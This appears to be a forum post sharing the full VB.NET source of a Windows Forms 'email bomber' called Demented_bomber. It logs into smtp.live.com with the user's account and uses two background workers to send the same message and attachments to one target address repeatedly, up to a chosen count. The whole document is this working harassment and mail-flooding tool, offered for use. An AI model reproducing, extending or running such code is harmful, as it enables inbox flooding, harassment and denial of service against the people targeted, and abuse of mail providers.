Demented_bomber [email bomber]

Code:
Imports System.Net.Mail
Public Class Demented_bomber
    Dim sendammount As Integer = 0
    Dim sendammount1 As Integer = 0
    Dim sendammountdevided As Integer
    Dim p As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Me.Close()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        BackgroundWorker1.CancelAsync()
        BackgroundWorker2.CancelAsync()
    End Sub
    Private Sub BackgroundWorker1_ProgressChanged(ByVal sender As System.Object, ByVal e As System.ComponentModel.ProgressChangedEventArgs) Handles BackgroundWorker1.ProgressChanged
        ProgressBar1.Value = e.ProgressPercentage * 2
    End Sub
    Private WithEvents TestWorker As System.ComponentModel.BackgroundWorker

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        sendammountdevided = 0
        sendammount1 = 0
        sendammount = 0
        ProgressBar1.Value = 0
        ProgressBar1.Update()
        If NumericUpDown1.Value Mod 2 <> 0 Then
            NumericUpDown1.Text = NumericUpDown1.Text + 1
            NumericUpDown1.Update()
        End If
        MsgBox("meh, i hate odd numbers lad ;]" & vbNewLine & "so your gonna be sendin" & NumericUpDown1.Value & ".")
        sendammountdevided = NumericUpDown1.Value / 2
        Button1.Enabled = False
        Button3.Enabled = False
        Button2.Enabled = True
        BackgroundWorker1.RunWorkerAsync()
        BackgroundWorker2.RunWorkerAsync()
        ProgressBar1.Maximum = NumericUpDown1.Value
        ProgressBar1.Value = 0
        TestWorker = New System.ComponentModel.BackgroundWorker
    End Sub

    Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
        Dim MyMailMessage1 As New MailMessage()
        MyMailMessage1.From = New MailAddress(TextBox1.Text)
        MyMailMessage1.To.Add(TextBox3.Text)
        MyMailMessage1.Subject = (TextBox4.Text)
        MyMailMessage1.Body = TextBox5.Text
        For counter = 0 To ListBox1.Items.Count - 1
            Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))
            MyMailMessage1.Attachments.Add(Attach)
        Next
        Dim SMTPServer As New SmtpClient("smtp.live.com")
        SMTPServer.Port = 25
        SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        SMTPServer.EnableSsl = True
        Do Until sendammount = sendammountdevided
            If BackgroundWorker1.CancellationPending Then
                Exit Sub
            End If
            SMTPServer.Send(MyMailMessage1)
            sendammount = sendammount + 1
            BackgroundWorker1.ReportProgress(sendammount, sendammount)
        Loop
        MsgBox("Done!")
    End Sub

    Private Sub BackgroundWorker2_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker2.DoWork
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress(TextBox1.Text)
        MyMailMessage.To.Add(TextBox3.Text)
        MyMailMessage.Subject = (TextBox4.Text)
        MyMailMessage.Body = TextBox5.Text
        Dim SMTPServer As New SmtpClient("smtp.live.com")
        SMTPServer.Port = 25
        For counter = 0 To ListBox1.Items.Count - 1
            Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))
            MyMailMessage.Attachments.Add(Attach)
        Next
        SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        SMTPServer.EnableSsl = True
        Do Until sendammount1 = sendammountdevided
            If BackgroundWorker2.CancellationPending Then
                Exit Sub
            End If
            SMTPServer.Send(MyMailMessage)
            sendammount1 = sendammount1 + 1
        Loop
    End Sub

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        OpenFileDialog1.ShowDialog()
    End Sub

    Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
        For Each track As String In OpenFileDialog1.FileNames
            ListBox1.Items.Add(track)

        Next
    End Sub
    Private Sub donework(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BackgroundWorker1.RunWorkerCompleted
        Button1.Enabled = True
        Button3.Enabled = True
        Button2.Enabled = False
    End Sub

    Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
        MessageBox.Show("LOL jk you shouldnt have clicked me")
        Me.Close()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If Me.Opacity < 1 Then Me.Opacity += 0.01 Else Timer1.Stop()
    End Sub
End Class